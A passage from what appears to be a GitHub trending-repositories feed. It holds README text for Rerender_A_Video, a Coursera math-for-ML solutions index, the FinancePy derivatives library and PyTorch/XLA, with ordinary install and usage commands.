src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/ffebac15-e7e0-4cd4-a8fe-60f243450172" alt="options"></p> <h3>Command Line</h3> <p>We also provide a flexible script <code>rerender.py</code> to run our method.</p> <h4>Simple mode</h4> <p>Set the options via command line. For example,</p> <pre><code class="language-shell">python rerender.py --input videos/pexels-antoni-shkraba-8048492-540x960-25fps.mp4 --output result/man/man.mp4 --prompt "a handsome man in van gogh painting" </code></pre> <p>The script will run the full pipeline. A work directory will be created at <code>result/man</code> and the result video will be saved as <code>result/man/man.mp4</code></p> <h4>Advanced mode</h4> <p>Set the options via a config file. For example,</p> <pre><code class="language-shell">python rerender.py --cfg config/van_gogh_man.json </code></pre> <p>The script will run the full pipeline. We provide some examples of the config in <code>config</code> directory. Most options in the config is the same as those in WebUI. Please check the explanations in the WebUI section.</p> <p>Specifying customized models by setting <code>sd_model</code> in config. For example:</p> <pre><code class="language-json">{ "sd_model": "models/realisticVisionV20_v20.safetensors", } </code></pre> <h4>Customize the pipeline</h4> <p>Similar to WebUI, we provide three-step workflow: Rerender the first key frame, then rerender the full key frames, finally rerender the full video with propagation. To run only a single step, specify options <code>-one</code>, <code>-nb</code> and <code>-nr</code>:</p> <ol> <li>Rerender the first key frame</li> </ol> <pre><code class="language-shell">python rerender.py --cfg config/van_gogh_man.json -one -nb </code></pre> <ol start="2"> <li>Rerender the full key frames</li> </ol> <pre><code class="language-shell">python rerender.py --cfg config/van_gogh_man.json -nb </code></pre> <ol start="3"> <li>Rerender the full video with propagation</li> </ol> <pre><code class="language-shell">python rerender.py --cfg config/van_gogh_man.json -nr </code></pre> <h4>Our Ebsynth implementation</h4> <p>We provide a separate Ebsynth python script <code>video_blend.py</code> with the temporal blending algorithm introduced in <a href="https://dcgi.fel.cvut.cz/home/sykorad/ebsynth.html">Stylizing Video by Example</a> for interpolating style between key frames. It can work on your own stylized key frames independently of our Rerender algorithm.</p> <p>Usage:</p> <pre><code class="language-shell">video_blend.py [-h] [--output OUTPUT] [--fps FPS] [--beg BEG] [--end END] [--itv ITV] [--key KEY] [--n_proc N_PROC] [-ps] [-ne] [-tmp] name positional arguments: name Path to input video optional arguments: -h, --help show this help message and exit --output OUTPUT Path to output video --fps FPS The FPS of output video --beg BEG The index of the first frame to be stylized --end END The index of the last frame to be stylized --itv ITV The interval of key frame --key KEY The subfolder name of stylized key frames --n_proc N_PROC The max process count -ps Use poisson gradient blending -ne Do not run ebsynth (use previous ebsynth output) -tmp Keep temporary output </code></pre> <p>For example, to run Ebsynth on video <code>man.mp4</code>,</p> <ol> <li>Put the stylized key frames to <code>videos/man/keys</code> for every 10 frames (named as <code>0001.png</code>, <code>0011.png</code>, ...)</li> <li>Put the original video frames in <code>videos/man/video</code> (named as <code>0001.png</code>, <code>0002.png</code>, ...).</li> <li>Run Ebsynth on the first 101 frames of the video with poisson gradient blending and save the result to <code>videos/man/blend.mp4</code> under FPS 25 with the following command:</li> </ol> <pre><code class="language-shell">python video_blend.py videos/man \ --beg 1 \ --end 101 \ --itv 10 \ --key keys \ --output videos/man/blend.mp4 \ --fps 25.0 \ -ps </code></pre> <h2>(2) Results</h2> <h3>Key frame translation</h3> <table class="center"> <tbody> <tr> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/18666871-f273-44b2-ae67-7be85d43e2f6" raw="true"></td> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/61f59540-f06e-4e5a-86b6-1d7cb8ed6300" raw="true"></td> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/8e8ad51a-6a71-4b34-8633-382192d0f17c" raw="true"></td> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/b03cd35f-5d90-471a-9aa9-5c7773d7ac39" raw="true"></td> </tr> <tr> <td width="27.5%" align="center">white ancient Greek sculpture, Venus de Milo, light pink and blue background</td> <td width="27.5%" align="center">a handsome Greek man</td> <td width="21.5%" align="center">a traditional mountain in chinese ink wash painting</td> <td width="23.5%" align="center">a cartoon tiger</td> </tr> </tbody> </table> <table class="center"> <tbody> <tr> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/649a789e-0c41-41cf-94a4-0d524dcfb282" raw="true"></td> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/73590c16-916f-4ee6-881a-44a201dd85dd" raw="true"></td> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/fbdc0b8e-6046-414f-a37e-3cd9dd0adf5d" raw="true"></td> <td><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/eb11d807-2afa-4609-a074-34300b67e6aa" raw="true"></td> </tr> <tr> <td width="26.0%" align="center">a swan in chinese ink wash painting, monochrome</td> <td width="29.0%" align="center">a beautiful woman in CG style</td> <td width="21.5%" align="center">a clean simple white jade sculpture</td> <td width="24.0%" align="center">a fluorescent jellyfish in the deep dark blue sea</td> </tr> </tbody> </table> <h3>Full video translation</h3> <p>Text-guided virtual character generation.</p> <p><a href="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/1405b257-e59a-427f-890d-7652e6bed0a4">https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/1405b257-e59a-427f-890d-7652e6bed0a4</a></p> <p><a href="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/efee8cc6-9708-4124-bf6a-49baf91349fc">https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/efee8cc6-9708-4124-bf6a-49baf91349fc</a></p> <p>Video stylization and video editing.</p> <p><a href="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/1b72585c-99c0-401d-b240-5b8016df7a3f">https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/1b72585c-99c0-401d-b240-5b8016df7a3f</a></p> <h2>Citation</h2> <p>If you find this work useful for your research, please consider citing our paper:</p> <pre><code class="language-bibtex">@inproceedings{yang2023rerender,  title = {Rerender A Video: Zero-Shot Text-Guided Video-to-Video Translation},  author = {Yang, Shuai and Zhou, Yifan and Liu, Ziwei and and Loy, Chen Change}, booktitle = {ACM SIGGRAPH Asia Conference Proceedings},  year = {2023}, } </code></pre> <h2>Acknowledgments</h2> <p>The code is mainly developed based on <a href="https://github.com/lllyasviel/ControlNet">ControlNet</a>, <a href="https://github.com/Stability-AI/stablediffusion">Stable Diffusion</a>, <a href="https://github.com/haofeixu/gmflow">GMFlow</a> and <a href="https://github.com/jamriska/ebsynth">Ebsynth</a>.</p> - greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera - 2023-09-19T01:32:34Z - tag:github.com,2023-09-19:/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera - - <p>Mathematics for Machine Learning and Data Science Specialization - Coursera - deeplearning.ai - solutions and notes</p><hr><h1>Mathematics for Machine Learning and Data Science Specialization - Coursera</h1> <p><img src="https://github.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/assets/77543865/42742826-89a3-41c4-aa6a-6d0f83b260b6" alt="title-banner"></p> <p>Mathematics for Machine Learning and Data Science Specialization offered by deeplearning.ai , instructed by Luis Serrano on Coursera.</p> <hr> <br> <h2>Course 1 : <a href="https://www.coursera.org/learn/machine-learning-linear-algebra">Linear Algebra for Machine Learning and Data Science</a></h2> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w1/">Week 1</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w1/lab/C1_W1_Lab_1_introduction_to_numpy_arrays.ipynb">Ungraded Lab - Introduction To Numpy Arrays</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w1/lab/C1_W1_Lab_2_solving_linear_systems_2_variables.ipynb">Ungraded Lab - Solving Linear Systems : 2 Variables</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w1/pq1/">Practice Quiz - Solving Systems of Linear Equations</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w1/q1/">Graded Quiz - Matrices</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w1/C1w1notes.pdf">Lecture Materials</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w2/">Week 2</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w2/C1w2_ungraded_lab.ipynb">Ungraded Lab - Solving Linear Systems : 3 Variables</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w2/q1/">Graded Quiz - The Rank of a Matrix</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w2/C1w2_graded_lab/">Programming Assignment - System of Linear Equations</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w2/C1w2notes.pdf">Lecture Materials</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/">Week 3</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/lab/C1_W3_Lab_1_vector_operations.ipynb">Ungraded Lab - Vector Operations</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/lab/C1_W3_Lab_2_matrix_multiplication.ipynb">Ungraded Lab - Matrix Multiplication</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/lab/C1_W3_Lab_3_linear_transformations.ipynb">Ungraded Lab - Linear Transformations</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/pq1">Practice Quiz - Vector operations: Sum, difference, multiplication, dot product</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/q1/">Graded Quiz - Vector and Matrix Operations, Types of Matrices</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/C1w3_graded_lab/">Programming Assignment - Single Perceptron Neural Networks for Linear Regression</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w3/C1w3notes.pdf">Lecture Materials</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w4/">Week 4</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w4/q1/">Graded Quiz - Eigenvalues and Eigenvectors</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w4/C1w4_graded_lab/">Programming Assignment - Eigenvalues and Eigenvectors</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C1/w4/C1w4notes.pdf">Lecture Materials</a></li> </ul> </li> </ul> <br> <h3><a href="https://coursera.org/share/4dcac0c68e690f1947739cc62143dc78">Certificate Of Completion</a></h3> <hr> <br> <h2>Course 2 : <a href="https://www.coursera.org/learn/machine-learning-calculus">Calculus For Machine Learning and Data Science</a></h2> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w1/">Week 1</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w1/pq1/">Practice Quiz - Derivatives</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w1/C2_W1_Lab_1_differentiation_in_python.ipynb">Ungraded Lab - Differentiation in Python</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w1/q1/">Graded Quiz - Derivatives and Optimization</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w1/C2w1_graded_lab/">Programming Assignment - Optimizing Functions of One Variable: Cost Minimization</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w1/C2w1notes.pdf">Lecture Materials</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w2/">Week 2</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w2/pq1/">Practice Quiz - Partial Derivatives and Gradient</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w2/lab/C2_W2_Lab_1_Optimization_Using_Gradient_Descent_in_One_Variable.ipynb">Ungraded Lab - Optimization Using Gradient Descent in One Variable</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w2/lab/C2_W2_Lab_2_Optimization_Using_Gradient_Descent_in_Two_Variables.ipynb">Ungraded Lab - Optimization Using Gradient Descent in Two Variables</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w2/q1/">Graded Quiz - Partial Derivatives and Gradient Descent</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w2/C2w2_graded_lab/">Programming Assignment - Optimization Using Gradient Descent: Linear Regression</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w2/C2w2notes.pdf">Lecture Materials</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/">Week 3</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/pq1/">Practice Quiz - Optimization in Neural Networks</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/lab/C2_W3_Lab_1_Regression_with_Perceptron.ipynb">Ungraded Lab - Regression with Perceptron</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/lab/C2_W3_Lab_2_Classification_with_Perceptron.ipynb">Ungraded Lab - Classification with Perceptron</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/lab/C2_W3_Lab_3_Optimization_Using_Newtons_Method.ipynb">Ungraded Lab - Optimization Using Newtons Method</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/q1/">Graded Quiz - Optimization in Neural Networks and Newton's Method</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/C2w3_graded_lab/">Programming Assignment - Neural Network with Two Layers</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C2/w3/C2w3notes.pdf">Lecture Materials</a></li> </ul> </li> </ul> <br> <h3><a href="https://coursera.org/share/5fa3a336a4fdfcb89879b8b828f8abbe">Certificate Of Completion</a></h3> <hr> <br> <h2>Course 3 : <a href="https://www.coursera.org/learn/machine-learning-probability-and-statistics">Probability &amp; Statistics for Machine Learning &amp; Data Science</a></h2> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w1/">Week 1</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w1/lab/C3_W1_Lab_2_Birthday_Problems.ipynb">Ungraded Lab - Birthday Problems</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w1/pq1/">Practice Quiz</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w1/q1/">Graded Quiz - Summative quiz</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w1/C3w1_graded_lab/">Programming Assignment: Probability Distributions / Naive Bayes</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w2/">Week2</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w2/pq1/">Practice Quiz</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w2/q1/">Graded Quiz - Summative Quiz</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w2/lab/ugl_datasets.ipynb">Optional Lab - Summary statistics and visualization of data sets</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w2/lab/C3_W2_Lab_2_Dice_Simulations.ipynb">Optional Lab - Dice Simulations</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w2/C3w2_graded_lab/">Programming Assignment: Loaded Dice</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w3/">Week 3</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w3/lab/">Optional Lab - Sampling data from different distribution and studying the distribution of sample mean</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w3/pq1/">Practice Quiz</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w3/q1/">Graded Quiz - Summative Quiz</a></li> </ul> </li> </ul> <br> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w4/">Week 4</a> <ul> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w4/pq1/">Practice Quiz</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w4/q1/">Graded Quiz - Summative Quiz</a></li> <li><a href="https://raw.githubusercontent.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera/main/C3/w4/C3w4_graded_lab/">Programming Assignment: A/B Testing</a></li> </ul> </li> </ul> <br> <h3><a href="https://coursera.org/share/10ba65d22dca9278c5119d7511bcec0b">Certificate Of Completion</a></h3> <hr> <br> <h2><a href="https://coursera.org/share/ea6107e80f98b4d1f05b9263413f39c6">Specialization Certificate</a></h2> - - - domokane/FinancePy - 2023-09-19T01:32:34Z - tag:github.com,2023-09-19:/domokane/FinancePy - - <p>A Python Finance Library that focuses on the pricing and risk-management of Financial Derivatives, including fixed-income, equity, FX and credit derivatives.</p><hr><h1>Latest News and Versions</h1> <p>28 August 2023 - version 0.32 released</p> <ul> <li>Fixed bug in Bond OAS and ASW</li> </ul> <p>24 August 2023 - Version 0.31 released</p> <p>Schedule</p> <ul> <li>Corrected bug in schedule generation</li> <li>Corrected bug in CDS protection leg integral</li> </ul> <p>Many Bond Classes have been amended</p> <ul> <li>Changed FULL price to DIRTY price in functions UPDATE YOUR CODE PLEASE. APOLS for inconvenience.</li> <li>Removed face amount from bond class - how much you buy is not intrinsic to a bond</li> <li>Made number of ex-dividend days a member of bond class</li> <li>Added adjustment for ex-dividend dates to yield calculations</li> <li>Revised acccrued and principal functions to take face amount as input</li> <li>Updated document</li> </ul> <p>29 May 2023 - Version 0.30 released</p> <ul> <li>Added PrettyPrint to required dependencies</li> </ul> <p>22 Nov 22 Version 0.260 has been released and pushed to PyPI</p> <ul> <li>Create Date from python datetime</li> <li>Zero coupon bond class</li> <li>Fixed bug in bond payment date</li> </ul> <p>31-Aug-2022 Version 0.240 has just been released and pushed to PyPI with changes</p> <ul> <li>Negative terms in date class</li> <li>Recovery rates do not default to standard value for CDS curves</li> </ul> <h1>DISCLAIMER</h1> <p>This software is distributed FREE AND WITHOUT ANY WARRANTY.</p> <p>Report any bugs or suggestions here as an issue.</p> <h1>CONTRIBUTORS WANTED !</h1> <p>If you have a knowledge of Quantitative Finance and a reasonable knowledge of Python, then please consider contributing to this project. There are small tasks and big tasks to be done. Just look in the list of Issues and you may find something you can do. Before you begin, please comment in the issue thread in case someone else may be working on that issue. Or you can contact me directly at dominic.okane at edhec.edu.</p> <p>If you are a user and require some additional functionality, then please add it as an issue.</p> <h1>Quick Start Guide</h1> <p>FinancePy can be installed from pip using the following command:</p> <p><code>pip install financepy</code></p> <p>To upgrade an existing installation type:</p> <p><code>pip install --upgrade financepy</code></p> <p>I have encountered problems using Anaconda3-2020.07 due to some Numba and LLVMLite problems. However Anaconda3-2020.02 works.</p> <h2>Using FinancePy in a Jupyter Notebook</h2> <p>Once financepy has been installed, it is easy to get started.</p> <p>Just download the project and examine the set of Jupyter Notebooks in the notebooks folder.</p> <p>A pdf manual describing all of the functions can be found in the project directory.</p> <h2>Overview</h2> <p>FinancePy is a python-based library that is currently in beta version. It covers the following functionality:</p> <ul> <li>Valuation and risk models for a wide range of equity, FX, interest rate and credit derivatives.</li> </ul> <p>Although it is written entirely in Python, it can achieve speeds comparable to C++ by using Numba. As a result the user has both the ability to examine the underlying code and the ability to perform pricing and risk at speeds which compare to a library written in C++.</p> <p>The target audience for this library includes:</p> <ul> <li>Students of finance and students of python</li> <li>Academics teaching finance or conducting research into finance</li> <li>Traders wishing to price or risk-manage a derivative.</li> <li>Quantitative analysts seeking to price or reverse engineer a price.</li> <li>Risk managers wishing to replicate and understand price sensitivity.</li> <li>Portfolio managers wishing to check prices or calculate risk measures.</li> <li>Fund managers wanting to value a portfolio or examine a trading strategy.</li> </ul> <p>Users should have a good, but not advanced, understanding of Python. In terms of Python, the style of the library has been determined subject to the following criteria:</p> <ol> <li>To make the code as simple as possible so that those with a basic Python fluency can understand and check the code.</li> <li>To keep all the code in Python so users can look through the code to the lowest level.</li> <li>To offset the performance impact of (2) by leveraging Numba to make the code as fast as possible without resorting to Cython.</li> <li>To make the design product-based rather than model-based so someone wanting to price a specific product can easily find that without having to worry too much about the model – just use the default – unless they want to. For most products, a Monte-Carlo implementation has been provided both as a reference for testing and as a way to better understand how the product functions in terms of payments, their timings and conditions.</li> <li>To make the library as complete as possible so a user can find all their required finance-related functionality in one place. This is better for the user as they only have to learn one interface.</li> <li>To avoid complex designs. Limited inheritance unless it allows for significant code reuse. Some code duplication is OK, at least temporarily.</li> <li>To have good documentation and easy-to-follow examples.</li> <li>To make it easy for interested parties to contribute.</li> </ol> <p>In many cases the valuations should be close to if not identical to those produced by financial systems such as Bloomberg. However for some products, larger value differences may arise due to differences in date generation and interpolation schemes. Over time it is hoped to reduce the size of such differences.</p> <p>Important Note:</p> <ul> <li>IF YOU HAVE ANY PRICING OR RISK EXAMPLES YOU WOULD LIKE REPLICATED, SEND SCREENSHOTS OF ALL THE UNDERLYING DATA, MODEL DETAILS AND VALUATION.</li> <li>IF THERE IS A PRODUCT YOU WOULD LIKE TO HAVE ADDED, SEND ME THE REQUEST.</li> <li>IF THERE IS FUNCTIONALITY YOU WOULD LIKE ADDED, SEND ME A REQUEST.</li> </ul> <h2>The Library Design</h2> <p>The underlying Python library is split into a number of major modules:</p> <ul> <li>Utils - These are utility functions used to assist you with modelling a security. These include dates (Date), calendars, schedule generation, some finance-related mathematics functions and some helper functions.</li> <li>Market - These are modules that capture the market information used to value a security. These include interest rate and credit curves, volatility surfaces and prices.</li> <li>Models - These are the low-level models used to value derivative securities ranging from Black-Scholes to complex stochastic volatility models.</li> <li>Products - These are the actual securities and range from Government bonds to Bermudan swaptions.</li> </ul> <p>Any product valuation is the result of the following data design:</p> <p><strong>VALUATION</strong> = <strong>PRODUCT</strong> + <strong>MODEL</strong> + <strong>MARKET</strong></p> <p>The interface to each product has a value() function that will take a model and market to produce a price.</p> <h2>Author</h2> <p>Dominic O'Kane. I am a Professor of Finance at the EDHEC Business School in Nice, France. I have 12 years of industry experience and over 15 years of academic experience.</p> <p>Contact me at dominic.okane at edhec.edu.</p> <h2>Dependencies</h2> <p>FinancePy depends on Numpy, Numba, Scipy and basic python libraries such as os, sys and datetime.</p> <h2>Changelog</h2> <p>See the changelog for a detailed history of changes.</p> <h2>Contributions</h2> <p>Contributions are very welcome. There are a number of requirements:</p> <ul> <li>The code should be Pep8 compliant.</li> <li>Comments are required for every class and function and they should be a clear description.</li> <li>At least one broad test case and a set of unit tests must be provided for every function.</li> <li>Avoid very pythonic constructions. For example a loop is as good as a list comprehension. And with numba it can be faster. Readability is the priority.</li> </ul> <h2>License</h2> <p>GPL-3.0 License - See the license file in this folder for details.</p> + pytorch/xla + 2023-09-20T01:33:40Z + tag:github.com,2023-09-20:/pytorch/xla + + <p>Enabling PyTorch on XLA Devices (e.g. Google TPU)</p><hr><h1>PyTorch/XLA</h1> <p><b>Current CI status:</b> <img src="https://github.com/pytorch/xla/actions/workflows/build_and_test.yml/badge.svg?sanitize=true" alt="GitHub Actions status"></p> <p>Note: PyTorch/XLA r2.1 will be the last release with XRT available as a legacy runtime. Our main release build will not include XRT, but it will be available in a separate package.</p> <p>PyTorch/XLA is a Python package that uses the <a href="https://www.tensorflow.org/xla">XLA deep learning compiler</a> to connect the <a href="https://pytorch.org/">PyTorch deep learning framework</a> and <a href="https://cloud.google.com/tpu/">Cloud TPUs</a>. You can try it right now, for free, on a single Cloud TPU VM with <a href="https://www.kaggle.com/discussions/product-feedback/369338">Kaggle</a>!</p> <p>Take a look at one of our <a href="https://github.com/pytorch/xla/tree/master/contrib/kaggle">Kaggle notebooks</a> to get started:</p> <ul> <li><a href="https://github.com/pytorch/xla/raw/master/contrib/kaggle/pytorch-xla-2-0-on-kaggle.ipynb">Stable Diffusion with PyTorch/XLA 2.0</a></li> <li><a href="https://github.com/pytorch/xla/raw/master/contrib/kaggle/distributed-pytorch-xla-basics-with-pjrt.ipynb">Distributed PyTorch/XLA Basics</a></li> </ul> <h2>Getting Started</h2> <p>To install PyTorch/XLA a new VM:</p> <pre><code>pip install torch~=2.0.0 https://storage.googleapis.com/tpu-pytorch/wheels/tpuvm/torch_xla-2.0-cp38-cp38-linux_x86_64.whl </code></pre> <p>To update your existing training loop, make the following changes:</p> <pre><code class="language-diff">-import torch.multiprocessing as mp +import torch_xla.core.xla_model as xm +import torch_xla.distributed.parallel_loader as pl +import torch_xla.distributed.xla_multiprocessing as xmp def _mp_fn(index): ... + # Move the model paramters to your XLA device + model.to(xm.xla_device()) + + # MpDeviceLoader preloads data to the XLA device + xla_train_loader = pl.MpDeviceLoader(train_loader, xm.xla_device()) - for inputs, labels in train_loader: + for inputs, labels in xla_train_loader: optimizer.zero_grad() outputs = model(inputs) loss = loss_fn(outputs, labels) loss.backward() - optimizer.step() + + # `xm.optimizer_step` combines gradients across replicas + xm.optimizer_step() if __name__ == '__main__': - mp.spawn(_mp_fn, args=(), nprocs=world_size) + # xmp.spawn automatically selects the correct world size + xmp.spawn(_mp_fn, args=()) </code></pre> <p>If you're using 